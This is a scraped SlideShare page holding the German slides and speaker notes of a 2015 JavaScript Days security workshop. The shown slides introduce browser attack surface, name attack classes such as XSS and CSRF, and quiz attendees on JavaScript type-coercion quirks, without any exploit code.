Werkzeugkasten
WerkzeugkastenWerkzeugkasten
Werkzeugkasten
 
Web Performance Optimierung (WPO)
Web Performance Optimierung (WPO)Web Performance Optimierung (WPO)
Web Performance Optimierung (WPO)
 
HTML5-Features
HTML5-FeaturesHTML5-Features
HTML5-Features
 
WordPress mit React – Mehr als eine Zweckehe?!
WordPress mit React – Mehr als eine Zweckehe?!WordPress mit React – Mehr als eine Zweckehe?!
WordPress mit React – Mehr als eine Zweckehe?!
 
Programmieren für das Web - Vorlesung 13
Programmieren für das Web - Vorlesung 13Programmieren für das Web - Vorlesung 13
Programmieren für das Web - Vorlesung 13
 
Automatisierte Entwickler VMs -- "works on my machine" zählt nicht mehr ;-)
Automatisierte Entwickler VMs -- "works on my machine" zählt nicht mehr ;-)Automatisierte Entwickler VMs -- "works on my machine" zählt nicht mehr ;-)
Automatisierte Entwickler VMs -- "works on my machine" zählt nicht mehr ;-)
 
Zuehlke Camp 2017: Chef vs Ansible session
Zuehlke Camp 2017: Chef vs Ansible sessionZuehlke Camp 2017: Chef vs Ansible session
Zuehlke Camp 2017: Chef vs Ansible session
 
Knockin' on heaven's door - Die Praxis zu Besuch beim W3C
Knockin' on heaven's door - Die Praxis zu Besuch beim W3CKnockin' on heaven's door - Die Praxis zu Besuch beim W3C
Knockin' on heaven's door - Die Praxis zu Besuch beim W3C
 
MongoDB: Security-Tipps gegen Hacker
MongoDB: Security-Tipps gegen HackerMongoDB: Security-Tipps gegen Hacker
MongoDB: Security-Tipps gegen Hacker
 
The Lotus Code Cookbook
The Lotus Code CookbookThe Lotus Code Cookbook
The Lotus Code Cookbook
 
Client side webdevelopment with jet
Client side webdevelopment with jetClient side webdevelopment with jet
Client side webdevelopment with jet
 
Rhomobile
RhomobileRhomobile
Rhomobile
 
Cross Platform ist ein alter Hut, Zeit ihn abzustauben - XPCon
Cross Platform ist ein alter Hut, Zeit ihn abzustauben - XPConCross Platform ist ein alter Hut, Zeit ihn abzustauben - XPCon
Cross Platform ist ein alter Hut, Zeit ihn abzustauben - XPCon
 
Development in der Cloud-Ära
Development in der Cloud-ÄraDevelopment in der Cloud-Ära
Development in der Cloud-Ära
 

Andere mochten auch

Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...
Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...
Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...Mayflower GmbH
 
Vom Entwickler zur Führungskraft
Vom Entwickler zur FührungskraftVom Entwickler zur Führungskraft
Vom Entwickler zur FührungskraftMayflower GmbH
 
Pair Programming Mythbusters
Pair Programming MythbustersPair Programming Mythbusters
Pair Programming MythbustersMayflower GmbH
 
The innerHTML Apocalypse
The innerHTML ApocalypseThe innerHTML Apocalypse
The innerHTML ApocalypseMario Heiderich
 
HEAR & NOW | Die Zukunft von Audio zwischen Content, Kontext und Kommunikation
HEAR & NOW | Die Zukunft von Audio zwischen Content, Kontext und KommunikationHEAR & NOW | Die Zukunft von Audio zwischen Content, Kontext und Kommunikation
HEAR & NOW | Die Zukunft von Audio zwischen Content, Kontext und KommunikationVORN Strategy Consulting GmbH
 
WERTEvoll agieren - agile Unternehmenskultur zum Leben erwecken
WERTEvoll agieren - agile Unternehmenskultur zum Leben erweckenWERTEvoll agieren - agile Unternehmenskultur zum Leben erwecken
WERTEvoll agieren - agile Unternehmenskultur zum Leben erweckenAndrea Maria Bokler
 
Slideshow: So nutzen Sie visuelle Trends im Alltag
Slideshow: So nutzen Sie visuelle Trends im AlltagSlideshow: So nutzen Sie visuelle Trends im Alltag
Slideshow: So nutzen Sie visuelle Trends im AlltagGetty Images
 

Andere mochten auch (13)

Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...
Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...
Mit Maintenance umgehen können- Fixt du noch Bugs oder lieferst du schon neue...
 
Agile Anti-Patterns
Agile Anti-PatternsAgile Anti-Patterns
Agile Anti-Patterns
 
JavaScript Security
JavaScript SecurityJavaScript Security
JavaScript Security
 
Usability im web
Usability im webUsability im web
Usability im web
 
Responsive Webdesign
Responsive WebdesignResponsive Webdesign
Responsive Webdesign
 
Vom Entwickler zur Führungskraft
Vom Entwickler zur FührungskraftVom Entwickler zur Führungskraft
Vom Entwickler zur Führungskraft
 
Pair Programming Mythbusters
Pair Programming MythbustersPair Programming Mythbusters
Pair Programming Mythbusters
 
Rewrites überleben
Rewrites überlebenRewrites überleben
Rewrites überleben
 
Why and what is go
Why and what is goWhy and what is go
Why and what is go
 
The innerHTML Apocalypse
The innerHTML ApocalypseThe innerHTML Apocalypse
The innerHTML Apocalypse
 
HEAR & NOW | Die Zukunft von Audio zwischen Content, Kontext und Kommunikation
HEAR & NOW | Die Zukunft von Audio zwischen Content, Kontext und KommunikationHEAR & NOW | Die Zukunft von Audio zwischen Content, Kontext und Kommunikation
HEAR & NOW | Die Zukunft von Audio zwischen Content, Kontext und Kommunikation
 
WERTEvoll agieren - agile Unternehmenskultur zum Leben erwecken
WERTEvoll agieren - agile Unternehmenskultur zum Leben erweckenWERTEvoll agieren - agile Unternehmenskultur zum Leben erwecken
WERTEvoll agieren - agile Unternehmenskultur zum Leben erwecken
 
Slideshow: So nutzen Sie visuelle Trends im Alltag
Slideshow: So nutzen Sie visuelle Trends im AlltagSlideshow: So nutzen Sie visuelle Trends im Alltag
Slideshow: So nutzen Sie visuelle Trends im Alltag
 

Ähnlich wie JavaScript Days 2015: Security

JavaScript und Security - JavaScript Days 2013 Berlin
JavaScript und Security - JavaScript Days 2013 BerlinJavaScript und Security - JavaScript Days 2013 Berlin
JavaScript und Security - JavaScript Days 2013 BerlinJohann-Peter Hartmann
 
Mojo, Twitter und Konsorten
Mojo, Twitter und KonsortenMojo, Twitter und Konsorten
Mojo, Twitter und KonsortenPhilipp Naderer
 
Legacy php - Sanieren oder Ablösen?
Legacy php - Sanieren oder Ablösen?Legacy php - Sanieren oder Ablösen?
Legacy php - Sanieren oder Ablösen?Johann-Peter Hartmann
 
Java script security for java developers
Java script security for java developersJava script security for java developers
Java script security for java developersJohann-Peter Hartmann
 
RoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für ChinaRoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für ChinaJohann-Peter Hartmann
 
Einführung in Puppet und Vagrant
Einführung in Puppet und VagrantEinführung in Puppet und Vagrant
Einführung in Puppet und Vagrants0enke
 
E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018Johann-Peter Hartmann
 
JavaScript für Java-Entwickler W-JAX 2013
JavaScript für Java-Entwickler W-JAX 2013JavaScript für Java-Entwickler W-JAX 2013
JavaScript für Java-Entwickler W-JAX 2013Oliver Zeigermann
 
Microsoft und die Open Source Community - Leaving the death star behind
Microsoft und die Open Source Community - Leaving the death star behindMicrosoft und die Open Source Community - Leaving the death star behind
Microsoft und die Open Source Community - Leaving the death star behindChristian Heilmann
 
HTML5 und node.js Grundlagen
HTML5 und node.js GrundlagenHTML5 und node.js Grundlagen
HTML5 und node.js GrundlagenMayflower GmbH
 
Top 10 Internet Trends 2005
Top 10 Internet Trends 2005Top 10 Internet Trends 2005
Top 10 Internet Trends 2005Jürg Stuker
 
Globetrotter @ E-Commerce Hacktable HH
Globetrotter @ E-Commerce Hacktable HHGlobetrotter @ E-Commerce Hacktable HH
Globetrotter @ E-Commerce Hacktable HHSebastian Heuer
 
HTML5-Legacy-Anwendungen
HTML5-Legacy-AnwendungenHTML5-Legacy-Anwendungen
HTML5-Legacy-AnwendungenJonathan Weiß
 

Ähnlich wie JavaScript Days 2015: Security (20)

JavaScript und Security - JavaScript Days 2013 Berlin
JavaScript und Security - JavaScript Days 2013 BerlinJavaScript und Security - JavaScript Days 2013 Berlin
JavaScript und Security - JavaScript Days 2013 Berlin
 
Performancemessung, jetzt in echt
Performancemessung, jetzt in echtPerformancemessung, jetzt in echt
Performancemessung, jetzt in echt
 
Erfolgreiche rewrites
Erfolgreiche rewritesErfolgreiche rewrites
Erfolgreiche rewrites
 
Rewrites überleben
Rewrites überlebenRewrites überleben
Rewrites überleben
 
Mojo, Twitter und Konsorten
Mojo, Twitter und KonsortenMojo, Twitter und Konsorten
Mojo, Twitter und Konsorten
 
Legacy php - Sanieren oder Ablösen?
Legacy php - Sanieren oder Ablösen?Legacy php - Sanieren oder Ablösen?
Legacy php - Sanieren oder Ablösen?
 
Java script security for java developers
Java script security for java developersJava script security for java developers
Java script security for java developers
 
RoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für ChinaRoofTop Brains & BBQ: Ein Gästbuch für China
RoofTop Brains & BBQ: Ein Gästbuch für China
 
Einführung in Puppet und Vagrant
Einführung in Puppet und VagrantEinführung in Puppet und Vagrant
Einführung in Puppet und Vagrant
 
E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018E-Commerce vs Architektur CodeTalks.Commerce_2018
E-Commerce vs Architektur CodeTalks.Commerce_2018
 
Offline Arbeiten
Offline ArbeitenOffline Arbeiten
Offline Arbeiten
 
Node.js Security
Node.js SecurityNode.js Security
Node.js Security
 
JavaScript für Java-Entwickler W-JAX 2013
JavaScript für Java-Entwickler W-JAX 2013JavaScript für Java-Entwickler W-JAX 2013
JavaScript für Java-Entwickler W-JAX 2013
 
Microsoft und die Open Source Community - Leaving the death star behind
Microsoft und die Open Source Community - Leaving the death star behindMicrosoft und die Open Source Community - Leaving the death star behind
Microsoft und die Open Source Community - Leaving the death star behind
 
Codeception VisualCeption
Codeception VisualCeptionCodeception VisualCeption
Codeception VisualCeption
 
HTML5 und node.js Grundlagen
HTML5 und node.js GrundlagenHTML5 und node.js Grundlagen
HTML5 und node.js Grundlagen
 
Top 10 Internet Trends 2005
Top 10 Internet Trends 2005Top 10 Internet Trends 2005
Top 10 Internet Trends 2005
 
JavaScript Security
JavaScript SecurityJavaScript Security
JavaScript Security
 
Globetrotter @ E-Commerce Hacktable HH
Globetrotter @ E-Commerce Hacktable HHGlobetrotter @ E-Commerce Hacktable HH
Globetrotter @ E-Commerce Hacktable HH
 
HTML5-Legacy-Anwendungen
HTML5-Legacy-AnwendungenHTML5-Legacy-Anwendungen
HTML5-Legacy-Anwendungen
 

Mehr von Mayflower GmbH

Salt and pepper — native code in the browser Browser using Google native Client
Salt and pepper — native code in the browser Browser using Google native ClientSalt and pepper — native code in the browser Browser using Google native Client
Salt and pepper — native code in the browser Browser using Google native ClientMayflower GmbH
 
Plugging holes — javascript memory leak debugging
Plugging holes — javascript memory leak debuggingPlugging holes — javascript memory leak debugging
Plugging holes — javascript memory leak debuggingMayflower GmbH
 
50 mal produktiver - oder warum ich gute Teams brauche und nicht gute Entwick...
50 mal produktiver - oder warum ich gute Teams brauche und nicht gute Entwick...50 mal produktiver - oder warum ich gute Teams brauche und nicht gute Entwick...
50 mal produktiver - oder warum ich gute Teams brauche und nicht gute Entwick...Mayflower GmbH
 
Shoeism - Frau im Glück
Shoeism - Frau im GlückShoeism - Frau im Glück
Shoeism - Frau im GlückMayflower GmbH
 
Bessere Software schneller liefern
Bessere Software schneller liefernBessere Software schneller liefern
Bessere Software schneller liefernMayflower GmbH
 
Von 0 auf 100 in 2 Sprints
Von 0 auf 100 in 2 SprintsVon 0 auf 100 in 2 Sprints
Von 0 auf 100 in 2 SprintsMayflower GmbH
 
Piwik anpassen und skalieren
Piwik anpassen und skalierenPiwik anpassen und skalieren
Piwik anpassen und skalierenMayflower GmbH
 
Agilitaet im E-Commerce - E-Commerce Breakfast
Agilitaet im E-Commerce - E-Commerce BreakfastAgilitaet im E-Commerce - E-Commerce Breakfast
Agilitaet im E-Commerce - E-Commerce BreakfastMayflower GmbH
 
Mongo DB - Segen oder Fluch
Mongo DB - Segen oder FluchMongo DB - Segen oder Fluch
Mongo DB - Segen oder FluchMayflower GmbH
 
Test-Driven JavaScript Development IPC
Test-Driven JavaScript Development IPCTest-Driven JavaScript Development IPC
Test-Driven JavaScript Development IPCMayflower GmbH
 
PHP Dependency und Paket Management mit Composer
PHP Dependency und Paket Management mit ComposerPHP Dependency und Paket Management mit Composer
PHP Dependency und Paket Management mit ComposerMayflower GmbH
 
Max Köhler - Real-Time-Monitoring
Max Köhler - Real-Time-MonitoringMax Köhler - Real-Time-Monitoring
Max Köhler - Real-Time-MonitoringMayflower GmbH
 
Yii - Next level PHP Framework von Florian Facker
Yii - Next level PHP Framework von Florian FackerYii - Next level PHP Framework von Florian Facker
Yii - Next level PHP Framework von Florian FackerMayflower GmbH
 
REST - Hypermedia und Sicherheit
REST - Hypermedia und SicherheitREST - Hypermedia und Sicherheit
REST - Hypermedia und SicherheitMayflower GmbH
 
Zend Framework meets Doctrine 2
Zend Framework meets Doctrine 2Zend Framework meets Doctrine 2
Zend Framework meets Doctrine 2Mayflower GmbH
 

Mehr von Mayflower GmbH (19)

Produktive teams
Produktive teamsProduktive teams
Produktive teams
 
Salt and pepper — native code in the browser Browser using Google native Client
Salt and pepper — native code in the browser Browser using Google native ClientSalt and pepper — native code in the browser Browser using Google native Client
Salt and pepper — native code in the browser Browser using Google native Client
 
Plugging holes — javascript memory leak debugging
Plugging holes — javascript memory leak debuggingPlugging holes — javascript memory leak debugging
Plugging holes — javascript memory leak debugging
 
50 mal produktiver - oder warum ich gute Teams brauche und nicht gute Entwick...
50 mal produktiver - oder warum ich gute Teams brauche und nicht gute Entwick...50 mal produktiver - oder warum ich gute Teams brauche und nicht gute Entwick...
50 mal produktiver - oder warum ich gute Teams brauche und nicht gute Entwick...
 
Shoeism - Frau im Glück
Shoeism - Frau im GlückShoeism - Frau im Glück
Shoeism - Frau im Glück
 
Bessere Software schneller liefern
Bessere Software schneller liefernBessere Software schneller liefern
Bessere Software schneller liefern
 
Von 0 auf 100 in 2 Sprints
Von 0 auf 100 in 2 SprintsVon 0 auf 100 in 2 Sprints
Von 0 auf 100 in 2 Sprints
 
Piwik anpassen und skalieren
Piwik anpassen und skalierenPiwik anpassen und skalieren
Piwik anpassen und skalieren
 
Agilitaet im E-Commerce - E-Commerce Breakfast
Agilitaet im E-Commerce - E-Commerce BreakfastAgilitaet im E-Commerce - E-Commerce Breakfast
Agilitaet im E-Commerce - E-Commerce Breakfast
 
Mongo DB - Segen oder Fluch
Mongo DB - Segen oder FluchMongo DB - Segen oder Fluch
Mongo DB - Segen oder Fluch
 
Schnelle Geschäfte
Schnelle GeschäfteSchnelle Geschäfte
Schnelle Geschäfte
 
Test-Driven JavaScript Development IPC
Test-Driven JavaScript Development IPCTest-Driven JavaScript Development IPC
Test-Driven JavaScript Development IPC
 
PHP Dependency und Paket Management mit Composer
PHP Dependency und Paket Management mit ComposerPHP Dependency und Paket Management mit Composer
PHP Dependency und Paket Management mit Composer
 
Max Köhler - Real-Time-Monitoring
Max Köhler - Real-Time-MonitoringMax Köhler - Real-Time-Monitoring
Max Köhler - Real-Time-Monitoring
 
Yii - Next level PHP Framework von Florian Facker
Yii - Next level PHP Framework von Florian FackerYii - Next level PHP Framework von Florian Facker
Yii - Next level PHP Framework von Florian Facker
 
REST - Hypermedia und Sicherheit
REST - Hypermedia und SicherheitREST - Hypermedia und Sicherheit
REST - Hypermedia und Sicherheit
 
Zend Framework meets Doctrine 2
Zend Framework meets Doctrine 2Zend Framework meets Doctrine 2
Zend Framework meets Doctrine 2
 
CSS3 produktiv
CSS3 produktivCSS3 produktiv
CSS3 produktiv
 
RESTful WebServices
RESTful WebServicesRESTful WebServices
RESTful WebServices
 

JavaScript Days 2015: Security

  • 1. JavaScript  Security     JS  &  seine  Pla3ormen Guten Morgen zusammen! Erster Tag der JavaScript Days, und hier finden sich gleich die Mutigen zum Thema JavaScript Security.
  • 2. Formalitäten   a) Duzen b) Vormittag Security, Nachmittag Pentesting
  • 3. Für  den  Nachmi<ag:   Kali  Linux!   USB-­‐SFcks  und   h<p://kali.org   Das sind die Downloads, die es heute gibt. Ich lasse das jeweils in den Pausen stehen. Wer nachher mitmachen möchte sollte sich die Tools downloaden - ich führe die aber auch live vor.
  • 4. Wer  seid  Ihr?     Rolle?   Programmiersprachen?   Security?
 Agil?   JavaScript-­‐Console  in   Chrome  auf?  :-­‐) Vielleicht noch eins vorweg - ich habe nur begrenzt viel Ahnung von JavaScript. Aber ich bin ziemlich gut darin, Dinge kaputt zu machen. Auch JavaScript, Browser, Server, you name it, i break it.
  • 5. Das  bin  ich:
 Johann  Hartmann   CTO  /  Gründer  Mayflower  GmbH   ex-­‐CEO/Gründer  SekFonEins  GmbH   Security  seit  1994  (Greyhat  -­‐>  Whitehat)   Referenzen:  deutsche  Banken,  Heise  Security,
 Litauen  gehackt,  Firefox  Security  Policy   geändert Wenn ich schon JavaScript nicht kann, was kann ich denn: Ich bin hauptberuflich CTO von Mayflower, und damit zu Diensten von etwa 70 Webentwicklern, die alle JavaScript machen. Ich haben 1984 mit 13 zu programmieren begonnen und verdiene seit 1992 Geld damit. Wenn man mal das Cracken von Spielen auf dem C64 und dem Commodore Amiga ausnimmt bin ich seit 1994 im Security-Bereich unterwegs, zunächst als Greyhat und kurze Zeit später als Greyhat. Ich habe mal live die Website der litauischen Regierung gehackt, und Firefox hat mal sein Security-Management meinetwegen umgestellt.
  • 6. DISCLAIMER:     No  JavaScript-­‐God   But  pre<y  good  at   breaking  stuff. Vielleicht noch eins vorweg - ich habe nur begrenzt viel Ahnung von JavaScript. Aber ich bin ziemlich gut darin, Dinge kaputt zu machen. Auch JavaScript, Browser, Server, you name it, i break it.
  • 7. Das  bin  ich:
 @jowe   Johannes  Weber   Entwickelt  bei  Mayflower  GmbH   JS,  PHP,  ANGULAR,  SPA,  MPA,  MigraPons Ich bin Johannes, und auch bei Mayflower. Momentan steht die Migrationen von SPA und MPA an der Tagesordnung. Das Frontend mag ich hierbei am liebsten. Mitsamt allen möglichen Raffinessen vom ersten UX Entwurf, der Deployment Pipeline bis zum Critical Rendering Path.
  • 8. OH  NOES!   JavaScript  Security! Aber warum dieser Workshop? Weil Javascript Security besonders ist. Aber gucken wir doch mal, warum das so ist.
  • 9. CPU BUS Speicher Aber warum ist JavaScript Security so oh no? Dasliegt nicht zuletzt an diesem Herrn. Und der von Neumann-Architektur. Die sagt: es gibt einen CPU, und die redet über einen BUS nicht nur mit Input und Output, sondern auch mit dem Speicher.
  • 10. CPU BUS Speicher:   Echte  Daten   Laufzeitdaten:  Heap,  Stack Konkret befinden sich im Speicher echte Daten, also zum Beispiel Adressen oder so, aber auch Laufzeitdaten wie Variablen und Funktionsaufrufe. Die befinden sich im Stack der Prozesse, oder im Heap für angeforderte Daten.
  • 11. Speicher:   Echte  Daten   Laufzeitdaten:  Heap,  Stack Für  die  CPU  sind   Daten,  Laufzeitvariablen   und  Code  das  gleiche Und das hat vor allem eine Konsequenz: Für die CPU sind Daten, die Laufzeitvariablen, die Laufzeitdaten und der Code das gleiche: manipulierbarer Speicher.
  • 12. Für  die  CPU  sind   Daten,  Laufzeitvariablen   und  Code  das  gleiche •Buffer  Overflows   •Integer  Overflows   •Format  String  Bugs   •Use  ader  Free   •Stack  Smashing  +  ROP ○Und das resultiert in ca 80 Prozent der Bugs in Betriebssystemen, Servern, die zu Security-Problemen führen. Deshalb wurde beliebig viel Zeit in das Engineering von CPUs und Betriebssystemen gesteckt. Inzwischen können steht an den Speicherpages explizit dran, welche executiert werden dürfen und welche nicht, und der Laufzeitspeicher ist randomisiert und nicht mehr erwartbar.
  • 13. Browser:  Daten,  Code,  Darstellung   OS:  Variablen   Für  den  Browser  sind   Daten,  Code  und   Darstellung  das  gleiche Wirrerweise hat man dann im Browser eine ähnliche Architektur gewählt - vermutlich erwartete man nicht, dass das Konzept dermassen erfolgreich sein würde. Der Server redet mit dem Browser nur über einen langen String, und der enthält den Content - und seit 1995 auch die Programmiersprache JavaScript. Daten können in der Seite oder separat stattfinden.
  • 14. Für  den  Browser  sind   Daten,  Code  und   Darstellung  das  gleiche •Session  Riding   •XSS   •CSRF   •JavaScript  Hijacking   •Clickjacking ○Und genau daraus resultieren die ganzen Bugs, die wir in der JavaScript-Welt haben. Zu den einzelnen Punkten komme ich natürlich noch.
  • 15. Aber nicht nur da hatte der Herr von Neumann einen Vorteil. Bei ihm war das noch einfach. Es gab nämlich nur einen Rechner, und der war trusted. Weil jemand den Schlüssel zu dem Raum hatte, in dem der Rechner stand. Und nur der kam an den Rechner ran. Also durfte der machen, was er will.
  • 16. Web 1.0 Applikation Browser 
 
 ServerModel 
 Browser View Controller RIA-Applikation In einer klassischen Webanwendung konnten wir dem Code voll vertrauen, denn er fand bei uns statt. Die Darstellung, die Ablaufsteuerung und die Daten - alles war vertrauenswürdig. Heute sieht das anders aus - denn der ganze Kram wandert zum Client. Nur noch die Daten bleiben auf der Serverseite persistiert.
  • 17. Mash-Ups 
 Server 
 Browser 
 Map-Service Map- Widget 
 Embedded Application Embedded Application Und es geht sogar noch eins weiter, denn es werden zunehmend services eingesetzt. Wer setzt hier New Relic ein? Wer Google Analytics? Wer Ad- Plattformen wie TradeDoubler? Wer setzt E-Commerce-Tools wie Fact finder ein? Im Fazit spielen sehr viel mehr Applikationen mit, als man normalerweise denken würde, und das ausgerechnet mit JavaScript als Plattform.
  • 18. •2.5  Milliarden  Browser-­‐Clients   •1  Milliarde  Smartphones   •Private  Daten  im  Browser   •Bankdaten  im  Browser   •Milliardensummen  in  TransakFonen Largest  A<ack   Surface  Ever Und das passiert nicht nur einmal, sondern sehr oft 2.5 Milliarden Clients werden genutzt, inzwischen fast genausoviele Smartphones. Jeder hat inzwischen mehr private Informationen im Browser als im Tagebuch. Mehr Geld über Online-Transaktionen verwaltet als über Unterschriften.
  • 19. Text Thoughtworks Technology Radar JavaScript is moving outside of the browser, emerging as an important technology for 
 cross-platform development. 
 
 ...
 
 Along with the recent proliferation of other languages that compile to JavaScript, this makes us wonder if we should start to consider JavaScript as a platform and not just a language. Und es wird noch schlimmer. Die Götter der Softwareentwicklung von Thoughworks sagen in Ihrem Technology-Radar an, dass JavaScript / HTML5 keine Programmiersprache mehr ist, sondern faktisch eine Plattform. Windows, OSX, Linux, Android und JavaScript.
  • 20. Auch der zweite Grund ist offensichtlich.Ich weiss, man darf keiner Statistik trauen, aber die Leute von Redmonk machen im Gegensatz zu Tiobe die Statistik auf Basis von echten Diskussionen und echte Commits - konkret Stackoverflow und Github machen. Die Statistik ist vom Januar. In welcher Ecke vermutet Ihr Javacript?
  • 21. Genau, offensichtliche Frae - ganz rechts oben, weniger Fragen als Java auf Stackoverflow, dafür mehr Lösungen auf Github. Statistisch machen Programmierer also etwas da oben in der Ecke. In Realität ist Java vermutlich sogar noch etwas dominanter, weil viel firmeninterne Entwicklung weder Spuren auf Stack-Overflow noch auf Github hinterlässt.
  • 22. Risikobewertung •Damage - how bad would an attack be? •Reproducibility - how easy is it to reproduce the attack? •Exploitability - how much work is it to launch the attack? •Affected users - how many people will be impacted? •Discoverability - how easy is it to discover the threat? The  most  dangerous     job  on  earth Wenn man eine Risikobewertung über den Browser als Plattform macht, kommt man zu ganz interessanten Ergebnissen. Damage: Wer hat kritische Daten im Browser? Private Daten? Bankdaten? Transaktionen wie online-Einkäufe? Kreditkartendaten? 
 Reproduzierbarkeit gut, weil man im Target selbst evaluieren kann. Exploitability: ich brauche die Leute auf einer Website von mir. Affected: alle, die einen Browser im Internet nutzen. Discoverability: Im Regelfall einfach.
  • 23. Risikobewertung „NSA  zahlt  25  Millionen  
 US-­‐Dollar  für  Zero-­‐Day-­‐ Exploits“ Quelle: http://www.forbes.com/sites/andygreenberg/2012/03/23/shopping-for-zero-days-an-price-list-for-hackers-secret-software-exploits/
  • 24. E Und  konkret? Aber genug vom theoretischen Erzählen .... gucken wir doch mal an, was alles faktisch dahinter steht.
  • 25. EJavaScript  macht   nicht  was  Du  denkst. Aber das gilt nicht nur für HTML. Das gilt auch für JavaScript.
  • 26. E JavaScript       Anomalies JavaScript  Console  auf? Habt Ihr alle die JavaScript Console auf? Ich bitte gleich immer erst zu raten und dann nachzugucken. Und ich freue mich über Beteiligung.
  • 27. E JavaScript       Anomalies 0.1  +  0.2 Was glaubt ihr, was hier herauskommt? Und was kommt wirklich heraus?
  • 28. E JavaScript       Anomalies 11.1  /  2.22 Und was glaubt ihr was hier herauskommt? Und was kommt in der Konsole tatsächlich heraus? Und warum?
  • 29. E JavaScript       Anomalies Alle  Zahlen  sind  Float. 11.1  /  2.22 Genau, es gibt nur einen Typ Zahlen - und der ist Float. Deshalb sind die Ergebnisse nicht immer so wie man sie erwartet hätte.
  • 30. E JavaScript       Anomalies 0  ==  ''   Und was glaubt ihr was hier herauskommt? Und was kommt in der Konsole tatsächlich heraus?
  • 31. E JavaScript       Anomalies ''  ==  0       '0'  ==  0 Und was glaubt ihr bei der nächsten Zeile? Kann 0 sowohl gleich dem Leerstring sein wie auch dem nichtleeren String mit der Ziffer 0? Was glaubt ihr? Und was kommt tatsächlich heraus?
  • 32. E JavaScript       Anomalies ''  ==  0       '0'  ==  0
 ''  ==  '0' Also: wir wissen jetzt: Und wenn jetzt sowohl ’’ als auch ’0’ gleich 0 sind, sind die beiden denn auch gleich?
  • 33. E JavaScript       Anomalies Operatoren  verhalten   sich  typabhängig. Dieses Phänomen liegt daran, dass sich Operatoren bei dynamisch getypten Sprachen typabhängig verhalten. Und im Falle von 0 als Zahl passiert ein anderes Casting als bei 0 als beim Vergleich von Strings.
  • 34. E JavaScript       Anomalies ''  ===  0 Glücklicherweise gibt es noch den Operator ===, der auch eine Typprüfung enthält. Was kommt hier heraus? Genau, das ist false, weil der Typ nicht übereinstimmt.
  • 35. E JavaScript       Anomalies '0'  ===  "0"   Und was kommt hier heraus? Das ist wieder True, weil zwar die Schreibweise unterschiedlich ist, Typ und Inhalt aber gleich sind.
  • 36. E JavaScript       Anomalies NaN  ===  NaN Und was kommt hier heraus?
  • 37. E JavaScript       Anomalies NaN  !==  NaN Immerhin ist es konsequent.
  • 38. E JavaScript       Anomalies "5"  -­‐  2 Aber es gibt noch mehr komische Operatoren, nicht nur Vergleichsoperationen. Was würde man erwarten was das hier ergibt? Genau, Typecasting nach Integer anhand von -, und im Resultat eine 3. Eine Subtraktion mit einem String würde ja auch keinen Sinn machen.
  • 39. E JavaScript       Anomalies "5"  +  2 Und was passiert hier?
  • 40. E JavaScript       Anomalies +  ist  sowohl  AddiFon
  als  auch  KonkatenaFon
  • 41. E JavaScript       Anomalies typeof  null Und was kommt hier heraus? Genau, und warum ist das so? Exakt, ein JavaScript-Fuckup seit Beginn der Zeiten. Es gab mal einen Vorschlag das zu fixen, das ist aber nicht angenommen worden.
  • 42. E JavaScript       Anomalies typeof    alert Was kommt hier bei Euch heraus? Genau, function. Im IE6,7,8 ist es aber object.
  • 43. E JavaScript       Anomalies typeof  /s/ Und was kommt hier heraus? Genau, Object. Chrome hat trotzdem jahrelang function ausgeliefert.
  • 44. E JavaScript       Anomalies typeof  []   typeof  {} Und welchen Typ hat das leere Array bzw. das leere Objekt? Warum steht da nicht Array bei Array? Genau, weil Array auch nur ein Objekt ist, auch wenn es eine extra Notation zur Erzeugung anbietet.
  • 45. E JavaScript       Anomalies []  +  [] Was ergibt also die Addition von zwei leeren Arrays? Was würdet Ihr erwarten? Und was ergibt es tatsächlich? Genau, den leeren String.
  • 46. E JavaScript       Anomalies []  +  {} Und wenn ich ein leeres Array mit einem leeren Objekt addiere? Genau, dann gibt es ein leeres Objekt.
  • 47. E JavaScript       Anomalies {}  +  [] Und wenn ich das genau andersherum mache? Genau, da kommt die Ziffer 0 heraus.
  • 48. E JavaScript       Anomalies {}  +  {} Und was kommt heraus, wenn ich zwei Objekte addiere? Was würdet Ihr erwarten? Und was kommt tatsächlich heraus?
  • 49. E JavaScript       Anomalies {}  +  []    ==  0  
 
 ({}  +  []) Den oberen hatten wir schon - wenn ich {} und [] addiere kommt 0 heraus. Was kommt also heraus, wenn ich das als Ausdruck in eine Klammer stelle? Genau, dann wird es ein Objekt.
  • 50. bElemente  mit  name-­‐ASribut    werden  zu  document-­‐Variablen DOM   Clobbering Aber nicht nur die Behandlung von Variablen ist etwas uneindeutig. Was ist der globale Namespace? Genau, window
  • 51. E JavaScript       Anomalies 'hello'[1]      'hello'.charAt(1)      'hello'[-­‐1]      'hello'.charAt(-­‐1) Sollte euch jemand sagen, dass es keine Rolle spielt wie ihr auf ein Zeichen in einem String zugreift, irrt er sich. Seht selbst.
  • 52. E JavaScript       Anomalies  localStorage[0]  =  false;
  if  (localStorage[0])  {              …      } Was denkt ihr kommt hier raus? Auch neue Sprachfeatures haben Besonderheiten. Das kann zu überraschenden Verhalten führen. In diesem Fall solltet ihr JSON.stringify und JSON.parse zum schreiben & lesen nützen.
  • 53. E JavaScript       Anomalies [,,,].join(); Und hier. Was kommt raus? Warum? Genau, es wird als JSON interpretiert, bei dem das letzte Komma abgeschnitten wird, weil das letzte Element ein „undefined“ ist.
  • 54. E JavaScript       Anomalies [,,,undefined].join()  ; Dann sollte das doch funktionieren, richtig? Mehr von diesen WTFs gibt auf http://wtfjs.com
